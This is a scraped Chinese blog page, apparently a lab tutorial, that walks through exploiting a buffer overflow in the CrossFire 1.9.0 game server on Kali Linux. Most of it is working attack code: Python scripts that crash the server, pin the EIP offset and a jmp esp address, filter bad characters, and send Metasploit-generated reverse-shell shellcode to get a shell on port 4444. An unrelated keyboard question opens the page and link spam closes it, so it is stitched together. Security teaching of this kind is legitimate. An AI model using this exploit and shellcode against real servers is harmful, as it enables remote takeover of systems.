8种机械键盘轴体对比

本人程序员,要买一个写代码的键盘,请问红轴和茶轴怎么选?

科班出身,或者搞过汇编C等的应该知道,当缓冲区边界限制不严格时,由于变量传入畸形数据或进程运行错误,导致缓冲区被“撑爆”,从而覆盖了相邻内存区域的数据

可修改内存数据,造成进程劫持,执行恶意代码,获取服务器控制权等后果

实例

准备

CrossFire多人在线RPG游戏

1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞 (服务端)

调试工具edb

运行环境kali 2.0 x64虚拟机

Linux内存保护机制DEP

ASLR

堆栈 cookies

堆栈粉碎

实战

避免测试中我们的虚拟机被劫持,通过iptables设置目标端口只允许本地访问1

2

3

4

5iptables -A INPUT -p tcp --destination-port 4444 ! -d 127.0.0.1 -j DROP

iptables -A INPUT -p tcp --destination-port 13327 ! -d 127.0.0.1 -j DROP

创建/usr/games/目录,将crossfire1.9.0服务端解压到目录1

2

3

4#解压

touch /usr/games/

cd /usr/games/

tar zxpf crossfire.tar.gz

运行一下crossfire看看有没有问题 ./crossfire

出现Waiting for connections即可,有问题看看Error1

2#开启调试

edb --run /usr/games/crossfire/bin/crossfire

右下角是paused暂停状态

菜单栏 Debug => Run(F9) 点击两回可以运行起来

可以通过命令查看进程端口信息1

2#查看开放端口

netstat -pantu | grep 13327

EIP中存放的是下一条命令的地址

这个进程和一般的溢出不同,它必须发送固定的数据量才可以发生溢出,而不是大于某个数据量都可以,我们构造如下python进程测试1

2

3

4

5

6

7

8

9

10

11

12

13#! /usr/bin/python

import socket

host = "127.0.0.1"

crash = "x41" * 4379 ## x41为十六进制的大写A

buffer = "x11(setup sound " + crash + "x90x00#" ## x90是NULL,x00是空字符

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

print "[*]Sending evil buffer..."

s.connect((host,13327))

data = s.recv(1024)

print data

s.send(buffer)

s.close()

print "[*]Payload Sent!"

运行后,edb报错如下

意思是EIP(存放一下条执行命令的地址)已经被覆盖成上图黑体中的地址,而计算机找不到这个地址。这个地址正是由我们输入的A,说明EIP可控,存在溢出。

这里你也可以测试增加一个A或者减少一个A发送,会发现后边两个数值都不是A,都不可控,也就是说数据量只有为4379时EIP才完全可控

为了查看到底是哪个位置的A才是溢出后的EIP地址,借助工具生成唯一字符串1

2cd /usr/share/metasploit-framework/tools/exploit/

./pattern_create.rb -l 4379

复制下来,构造如下python脚本1

2

3

4

5

6

7

8

9

10

11

12

13#! /usr/bin/python

import socket

host = "127.0.0.1"

crash = "唯一字符串"

buffer = "x11(setup sound " + crash + "x90x00#"

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

print "[*]Sending evil buffer..."

s.connect((host,13327))

data = s.recv(1024)

print data

s.send(buffer)

s.close()

print "[*]Payload Sent!"

开启edb启动进程,运行python进程

利用工具确认字符串的位置1

2cd /usr/share/metasploit-framework/tools/exploit/

./pattern_offset.rb -q 46367046

就是说EIP地址前面有4368个字符。 4369,4370,4371,4372的位置存放的是溢出后的EIP地址

构造如下python脚本验证1

2

3

4

5

6

7

8

9

10

11

12

13#! /usr/bin/python

import socket

host = "127.0.0.1"

crash = 'A'*4368 + 'B'*4 + 'C'*7 ## 凑够4379个字符

buffer = "x11(setup sound " + crash + "x90x00#"

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

print "[*]Sending evil buffer..."

s.connect((host,13327))

data = s.recv(1024)

print data

s.send(buffer)

s.close()

print "[*]Payload Sent!"

可以看到EIP地址被精准的填充为B字符

右键ESP,选择 Follow In Dump 查看数据

因为必须是精确的字符才能溢出,就是说ESP寄存器只能存放7个字符,显然无法存放shellcode

几个寄存器都查看后,选择了EAX。因为EAX存放的是我们之前发送的几千个A,是可控的,且有足够的大小存放shellcode

思路就是让EIP存放EAX的地址,然后在地址上加12,直接从第一个A的位置开始执行。但是各个机器的EAX的地址也各不相同,不具有通用性,所以直接跳转的思路就放弃。

既然ESP可以存放7个字符,想到了跳转EAX并偏移12

构造如下python代码运行1

2

3

4

5

6

7

8

9

10

11

12

13#! /usr/bin/python

import socket

host = "127.0.0.1"

crash = 'A'*4368 + 'B'*4 + 'x83xc0x0cxffxe0x90x90'

buffer = "x11(setup sound " + crash + "x90x00#"

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

print "[*]Sending evil buffer..."

s.connect((host,13327))

data = s.recv(1024)

print data

s.send(buffer)

s.close()

print "[*]Payload Sent!"

首先EIP地址仍然是精准的四个B

ESP => Follow In Dump 查看

83 c0 0c ff e0 90 90 说明这里也完美写入

思路就是EIP => ESP => EAX,EAX存放shellcode,因为ESP地址不固定,需要借助固定的地址跳转

打开edb,菜单栏 Plugins => OpcodeSearcher => OpcodeSearch

选择crossfire进程,ESP -> EIP,选择一个jmp esp 的地址,这个地址是不会变的

菜单栏 plugin => breakpointmanager => breakpoints 选择add增加我们上边选择的地址的断点用来测试。

然后我们测试坏字符,经过测试坏字符是x00x0ax0dx20

生成shellcode并过滤坏字符1

2

3cd /usr/share/framework2/

./msfpayload -l #可以生成的shellcode的种类

./msfpayload linux_ia32_reverse LHOST=127.0.0.1 LPORT=4444 R | ./msfencode -b "x00x0ax0dx20"

构建python脚本1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23#!/usr/bin/python

import socket

host = "127.0.0.1"

shellcode = (

"xbbx6dx65x9bxcdxdbxddxd9x74x24xf4x5fx2bxc9"+

"xb1x14x83xc7x04x31x5fx10x03x5fx10x8fx90xaa"+

"x16xb8xb8x9exebx15x55x23x65x78x19x45xb8xfa"+

"x01xd4x10x92xb7xe8x85x3exd2xf8xf4xeexabx18"+

"x9cx68xf4x17xe1xfdx45xacx51xf9xf5xcax58x81"+

"xb5xa2x05x4cxb9x50x90x24x85x0exeex38xb0xd7"+

"x08x50x6cx07x9axc8x1ax78x3ex61xb5x0fx5dx21"+

"x1ax99x43x71x97x54x03")

crash = shellcode + "A"*(4368-105) + "x97x45x13x08" + "x83xc0x0cxffxe0x90x90"

buffer = "x11(setup sound " +crash+ "x90x90#)"

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

print "[*]Sending evil buffer..."

s.connect((host,13327))

data = s.recv(1024)

print data

s.send(buffer)

s.close()

print "[*]Payload Sent!"

监听本地的4444端口,即可获取一个shell

linux畸形文件夹,Linux下简单的缓冲区溢出相关推荐

  1. linux畸形文件夹,Linux Kernel畸形ULE报文处理远程拒绝服务漏洞

    Linux Kernel是开放源码操作系统Linux所使用的内核. Linux的ULE(单向轻型封装RFC 4326)拆封代码存在一个漏洞,远程攻击者可能利用此漏洞对接收处理的服务器造成拒绝服务攻击. ...

  2. linux mkdir 文件夹,Linux mkdir 创建文件夹命令

    介绍: 该命令创建指定的目录名,要求创建目录的用户在当前目录中具有写权限,并且指定的目录名不能是当前目录中已有的目录 语法: mkdir [-m] [-p] 目录名 选项介绍: -m: 对新建目录设置 ...

  3. 如何linux删除文件夹,linux删除文件夹,教您电脑的linux怎么样删除文件夹

    有些爱学习的用户会去操弄linux软件程序,在操作linux的过程中,有时候要删除一个文件夹,往往会提示次此文件非空,没法删除,这对于刚接触的用户来说无疑是一个巨大的困难,为此,小编这就来跟大家分享l ...

  4. linux kernel 文件夹,Linux kernel 文件夹说明

    Linux 内核代码的目录结构 arch: 包含和硬件体系相关的的代码,每种硬件平台占一个相应的目录,如i386,arm, arm64, powerpc,mips等. block: 块设备驱动程序I/ ...

  5. 怎么删除linux中文件夹,linux删除文件夹,手把手教你电脑的linux怎么样删除文件夹...

    有些爱学习的用户会去操弄linux软件程序,在操作linux的过程中,有时候要删除一个文件夹,往往会提示次此文件非空,没法删除,这对于刚接触的用户来说无疑是一个巨大的困难,为此,小编这就来跟大家分享l ...

  6. php linux 删除文件夹,linux下如何删除文件夹

    linux下删除文件夹的方法:可以使用[rm -rf 目录名]命令进行删除,如[rm -rf /var/log/httpd/access],表示删除/var/log/httpd/access目录及其下 ...

  7. linux 传文件夹,linux下上传下载文件夹的方法

    Linux下目录复制:本机->远程服务器 scp -r /home/shaoxiaohu/test1 zhidao@192.168.0.1:/home/test2 test1为源目录,test2 ...

  8. linux mkdir 文件夹,Linux mkdir创建文件夹命令

    Linux(Ubuntu/Fedora/CentOS/RetHat)可以通过GMONE和KDE界面直接创建文件夹和文件目录.当然,有时候直接通过终端用 mkdir 命令来创建会更方便,特别是在Root ...

  9. linux主题文件夹,linux精彩桌面 gnome桌面主题安装实例_linux教程

    一.主题下载 以苹果主题为例请到:http://www.gnome-look.org/content/s-p?content=13548下载MacOS-X Aqua Theme 主题.分别有三个压缩包 ...

最新文章

  1. 可复现的图像降噪算法总结——超赞整理
  2. 【零散积累】传输文件(sz/rz/scp命令)
  3. php中带?错误,参考-此错误在PHP中意味着什么?
  4. PAT-Travel Plan (30)-Dijkstra和SPFA
  5. java刷机_java非智能手机能不能通过刷机安装一个安卓智能系统
  6. python遍历列表中所有元素_python如何遍历列表所有元素?
  7. PaddleWeekly | 这是属于技术宅的七夕特别篇
  8. Install YouTube-DL – A Command Line Video Download Tool for Linux
  9. xcode升级iOS 16问题与解决方案汇总
  10. Ubuntu 向日葵被远控无法显示图形化界面的解决方案
  11. 小程序基础知识整理(组件篇)
  12. geom_segment 新技能get
  13. unity实现炮弹运动轨迹(抛物线)
  14. 蓝牙耳机主动降噪的基础知识介绍
  15. linux 软盘启动程序,Linux 引导过程及原理-从软盘启动GRUB
  16. 【QT开发笔记-基础篇】| 第五章 绘图QPainter | 5.12 文本、图片
  17. StringUtils.split用法
  18. 《Linux命令行大全》重点笔记——第一部分 学习shell
  19. solidworks三维建模竞赛练习题
  20. 巅峰对垒人工智能首战告捷 安防人怎么看?

热门文章

  1. 自定义起始时间的时间戳计算(个人代码记录)
  2. OSM OpenStreetMap 获取城市路网数据及转为ESRI shp数据的方法
  3. 机器学习-非监督分类算法之关联规则
  4. Netflix网关zuul(1.x和2.x)全解析
  5. elasticSearch6源码分析(10)SettingsModule
  6. 热点推荐:秒杀系统架构分析与实战--转载
  7. 改变eclipse工程中代码的层次结构
  8. linux shell pushd popd dirs命令
  9. 解决 ERROR: JDWP Transport dt_socket failed to initialize, TRANSPORT_INIT(510)异常
  10. 【采用】信用风险模型(申请评分、行为评分)与数据准备(违约期限、WOE转化)